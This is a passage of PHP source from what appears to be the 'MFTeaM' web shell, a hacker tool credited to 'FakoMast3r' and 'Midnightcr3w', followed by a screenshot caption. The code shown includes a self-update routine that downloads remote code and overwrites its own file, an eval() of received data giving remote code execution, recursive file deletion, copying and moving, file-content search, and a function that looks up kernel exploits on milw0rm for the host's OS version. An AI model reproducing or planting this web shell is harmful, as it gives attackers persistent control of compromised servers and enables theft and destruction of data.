2961         $confvars = array();
2962         $sourceurl = $string[0];
2963         $source = file_get_contents($sourceurl);
2964         if (!$source) {return "Can't fetch update!";}
2965         else {
2966           $fp = fopen(__FILE__,"w");
2967           if (!$fp) {return "Local error: can't write update to ".__FILE__."! You may download exshell.php manually <a href=\"".$sourceurl."\"><u>here</u></a>.";}
2968           else {
2969             fwrite($fp,$source);
2970             fclose($fp);
2971             return "Update completed!";
2972           }
2973         }
2974       }
2975       else {return "New version are available: ".$string[1];}
2976     }
2977     elseif ($data{0} == "\x99" and $data{1} == "\x04") {
2978       eval($string);
2979       return 1;
2980     }
2981     else {return "Error in protocol: segmentation failed! (".$data.") ";}
2982   }
2983 }
2984 function ex_buff_prepare() {
2985   global $sess_data;
2986   global $act;
2987   foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
2988   foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
2989   $sess_data["copy"] = array_unique($sess_data["copy"]);
2990   $sess_data["cut"] = array_unique($sess_data["cut"]);
2991   sort($sess_data["copy"]);
2992   sort($sess_data["cut"]);
2993   if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}}
2994   else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}}
2995 }
2996 function ex_sess_put($data) {
2997   global $sess_cookie;
2998   global $sess_data;
2999   ex_buff_prepare();
3000   $sess_data = $data;
3001   $data = serialize($data);
3002   setcookie($sess_cookie,$data);
3003 }
3004 
3005 ### END exSh UPDATE FUNCTIONS 
3006 ###
3007 
3008 ### FILESYSTEM FUNCTIONS 
3009 ###
3010 function fs_copy_dir($d,$t) {
3011   $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
3012   if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
3013   $h = opendir($d);
3014   while (($o = readdir($h)) !== FALSE) {
3015     if (($o != ".") and ($o != "..")) {
3016       if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
3017       else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
3018       if (!$ret) {return $ret;}
3019     }
3020   }
3021   closedir($h);
3022   return TRUE;
3023 }
3024 function fs_copy_obj($d,$t) {
3025   $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
3026   $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
3027   if (!is_dir(dirname($t))) {mkdir(dirname($t));}
3028   if (is_dir($d)) {
3029     if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
3030     if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
3031     return fs_copy_dir($d,$t);
3032   }
3033   elseif (is_file($d)) { return copy($d,$t); }
3034   else { return FALSE; }
3035 }
3036 function fs_move_dir($d,$t) {
3037   $h = opendir($d);
3038   if (!is_dir($t)) {mkdir($t);}
3039   while (($o = readdir($h)) !== FALSE) {
3040     if (($o != ".") and ($o != "..")) {
3041       $ret = TRUE;
3042       if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
3043       else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}}
3044       if (!$ret) {return $ret;}
3045      }
3046    }
3047   closedir($h);
3048   return TRUE;
3049 }
3050 function fs_move_obj($d,$t) {
3051   $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
3052   $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
3053   if (is_dir($d)) {
3054     if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
3055     if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
3056     return fs_move_dir($d,$t);
3057   }
3058   elseif (is_file($d)) {
3059     if(copy($d,$t)) {return unlink($d);}
3060     else {unlink($t); return FALSE;}
3061   }
3062   else {return FALSE;}
3063 }
3064 function fs_rmdir($d) {
3065   $h = opendir($d);
3066   while (($o = readdir($h)) !== FALSE) {
3067     if (($o != ".") and ($o != "..")) {
3068       if (!is_dir($d.$o)) {unlink($d.$o);}
3069       else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}
3070     }
3071   }
3072   closedir($h);
3073   rmdir($d);
3074   return !is_dir($d);
3075 }
3076 function fs_rmobj($o) {
3077   $o = str_replace("\\",DIRECTORY_SEPARATOR,$o);
3078   if (is_dir($o)) {
3079     if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}
3080     return fs_rmdir($o);
3081   }
3082   elseif (is_file($o)) {return unlink($o);}
3083   else {return FALSE;}
3084 }
3085 
3086 ### END FILESYSTEM FUNCTIONS 
3087 ###
3088 function onphpshutdown() {
3089   global $gzipencode,$ft;
3090   if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad"))) {
3091     $v = @ob_get_contents();
3092     @ob_end_clean();
3093     @ob_start("ob_gzHandler");
3094     echo $v;
3095     @ob_end_flush();
3096   }
3097 }
3098 function exshexit() { onphpshutdown(); exit; }
3099 
3100 function exfsearch($d) {
3101   global $found, $found_d, $found_f, $search_i_f, $search_i_d, $a;
3102   if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
3103   $h = opendir($d);
3104   while (($f = readdir($h)) !== FALSE) {
3105     if($f != "." && $f != "..") {
3106       $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f));
3107       if (is_dir($d.$f)) {
3108         $search_i_d++;
3109         if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;}
3110         if (!is_link($d.$f)) {exfsearch($d.$f);}
3111       }
3112       else {
3113         $search_i_f++;
3114         if ($bool) {
3115           if (!empty($a["text"])) {
3116             $r = @file_get_contents($d.$f);
3117             if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";}
3118             if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);}
3119             if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);}
3120             else {$bool = strpos(" ".$r,$a["text"],1);}
3121             if ($a["text_not"]) {$bool = !$bool;}
3122             if ($bool) {$found[] = $d.$f; $found_f++;}
3123           }
3124           else {$found[] = $d.$f; $found_f++;}
3125         }
3126       }
3127     }
3128   }
3129   closedir($h);
3130 }
3131 function view_size($size) {
3132   if (!is_numeric($size)) { return FALSE; }
3133   else {
3134     if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
3135     elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
3136     elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
3137     else {$size = $size . " B";}
3138     return $size;
3139   }
3140 }
3141 function tabsort($a,$b) { global $v; return strnatcmp($a[$v], $b[$v]);}
3142 function view_perms($mode) {
3143   if (($mode & 0xC000) === 0xC000) {$type = "s";}
3144   elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
3145   elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
3146   elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
3147   elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
3148   elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
3149   elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
3150   else {$type = "?";}
3151   $owner["read"] = ($mode & 00400)?"r":"-";
3152   $owner["write"] = ($mode & 00200)?"w":"-";
3153   $owner["execute"] = ($mode & 00100)?"x":"-";
3154   $group["read"] = ($mode & 00040)?"r":"-";
3155   $group["write"] = ($mode & 00020)?"w":"-";
3156   $group["execute"] = ($mode & 00010)?"x":"-";
3157   $world["read"] = ($mode & 00004)?"r":"-";
3158   $world["write"] = ($mode & 00002)? "w":"-";
3159   $world["execute"] = ($mode & 00001)?"x":"-";
3160   if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";}
3161   if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";}
3162   if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";}
3163   return $type.join("",$owner).join("",$group).join("",$world);
3164 }
3165 function parse_perms($mode) {
3166   if (($mode & 0xC000) === 0xC000) {$t = "s";}
3167   elseif (($mode & 0x4000) === 0x4000) {$t = "d";}
3168   elseif (($mode & 0xA000) === 0xA000) {$t = "l";}
3169   elseif (($mode & 0x8000) === 0x8000) {$t = "-";}
3170   elseif (($mode & 0x6000) === 0x6000) {$t = "b";}
3171   elseif (($mode & 0x2000) === 0x2000) {$t = "c";}
3172   elseif (($mode & 0x1000) === 0x1000) {$t = "p";}
3173   else {$t = "?";}
3174   $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0;
3175   $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0;
3176   $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0;
3177   return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);
3178 }
3179 function parsesort($sort) {
3180   $one = intval($sort);
3181   $second = substr($sort,-1);
3182   if ($second != "d") {$second = "a";}
3183   return array($one,$second);
3184 }
3185 function view_perms_color($o) {
3186   if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";}
3187   elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";}
3188   else {return "<font color=green>".view_perms(fileperms($o))."</font>";}
3189 }
3190 function str2mini($content,$len) {
3191   if (strlen($content) > $len) {
3192     $len = ceil($len/2) - 2;
3193     return substr($content, 0,$len)."...".substr($content,-$len);
3194   } else {return $content;}
3195 }
3196 function strips(&$arr,$k="") {
3197   if (is_array($arr)) { foreach($arr as $k=>$v) { if (strtoupper($k) != "GLOBALS") { strips($arr["$k"]); } } }
3198   else { $arr = stripslashes($arr); }
3199 }
3200 
3201 function getmicrotime() {
3202   list($usec, $sec) = explode(" ", microtime());
3203   return ((float)$usec + (float)$sec);
3204 }
3205 
3206 function milw0rm() {
3207   $Lversion = php_uname(r);
3208   $OSV = php_uname(s);
3209   if(eregi("Linux",$OSV)) {
3210     $Lversion = substr($Lversion,0,6);
3211     return "http://milw0rm.com/search.php?dong=Linux Kernel ".$Lversion;
3212   } else {
3213     $Lversion = substr($Lversion,0,3);
3214     return "http://milw0rm.com/search.php?dong=".$OSV." ".$Lversion;
3215   }
3216 }
3217 function tools() {
3218   echo "List of tools";
3219 }
3220 
3221 function sh_name() { return ("MFTeaM").sh_ver; }
3222 function htmlhead($safemode) {
3223 $style = '
3224 <style type="text/css">
3225 body,table {font:8pt verdana;background-color:black;}
3226 table {width:100%;}
3227 table,td,#maininfo td {padding:3px;}
3228 table,td,input,select,option {border:1px solid #808080;}
3229 body,table,input,select,option {color:#FFFFFF;}
3230 a {color:lightblue;text-decoration:none; } a:link {color:#5B5BFF;} a:hover {text-decoration:underline;} a:visited {color:#99CCFF;}
3231 textarea {color:#dedbde;font:8pt Courier New;border:1px solid #666666;margin:2;}
3232 #pagebar {padding:5px;border:3px solid #1E1E1E;border-collapse:collapse;}
3233 #pagebar td {vertical-align:top;}
3234 #pagebar,#pagebar p,.info,input,select,option {font:8pt tahoma;}
3235 #pagebar a {font-weight:bold;color:#00FF00;}
3236 #pagebar a:visited {color:#00CE00;}
3237 #mainmenu {text-align:center;}
3238 #mainmenu a {text-align: center;padding: 0px 5px 0px 5px;}
3239 #maininfo,.barheader,.bartitle {text-align:center;}
3240 .fleft {float:left;text-align:left;}
3241 .fright {float:right;text-align:right;}
3242 .bartitle {padding:5px;border:2px solid #1F1F1F;}
3243 .barheader {font-weight:bold;padding:5px;}
3244 .info,.info td,.info th {margin:0;padding:0;border-collapse:collapse;}
3245 .info th {color:#00FF00;text-align:left;width:13%;}
3246 .contents,.explorer {border-collapse:collapse;}
3247 .contents,.explorer td,th {vertical-align:top;}
3248 .mainpanel {border-collapse:collapse;padding:5px;}
3249 .barheader,.mainpanel table,td {border:1px solid #333333;}
3250 input[type="submit"],input[type="button"] {border:1px solid #000000;}
3251 input[type="text"] {padding:3px;}
3252 .shell {background-color:#000000;color:#00FF00;padding:5px;font-size:12;}
3253 .fxerrmsg {color:red; font-weight:bold;}
3254 #pagebar,#pagebar p,h1,h2,h3,h4,form {margin:0;}
3255 #pagebar,.mainpanel,input[type="submit"],input[type="button"] {background-color:#4A4A4A;}
3256 .bartitle,input,select,option,input[type="submit"]:hover,input[type="button"]:hover {background-color:#333333;}
3257 textarea,#pagebar input[type="text"],.mainpanel input[type="text"],input[type="file"],select,option {background-color:#000000;}
3258 input[type="label"] { text-align:right;}
3259 .info,.info td,input[type="label"] {border:0;background:none;}
3260 </style>
3261 ';
3262 $html_start = '
3263 <html><head>
3264 <title>'.getenv("HTTP_HOST").' - '.sh_name().'</title>
3265 '.$style.'
3266 </head>
3267 <body>
3268 <div class=bartitle><h4>'.sh_name().'</h4>.: No System is Perfectly Safe :.</div>
3269 ';
3270 return $html_start;
3271 };
3272 function footer() {
3273   echo "<div class=bartitle colspan=2><font size=1 color=#00FF00> By FakoMast3r,   2009 Midnightcr3w, Generated: ".round(getmicrotime()-starttime,4)." seconds</font></div>";
3274 }
3275 chdir($lastdir); exshexit();
3276 ?>

A screenshot of the MFTeaM shell:

MFTeaM shell screenshot
MFTeaM shell screenshot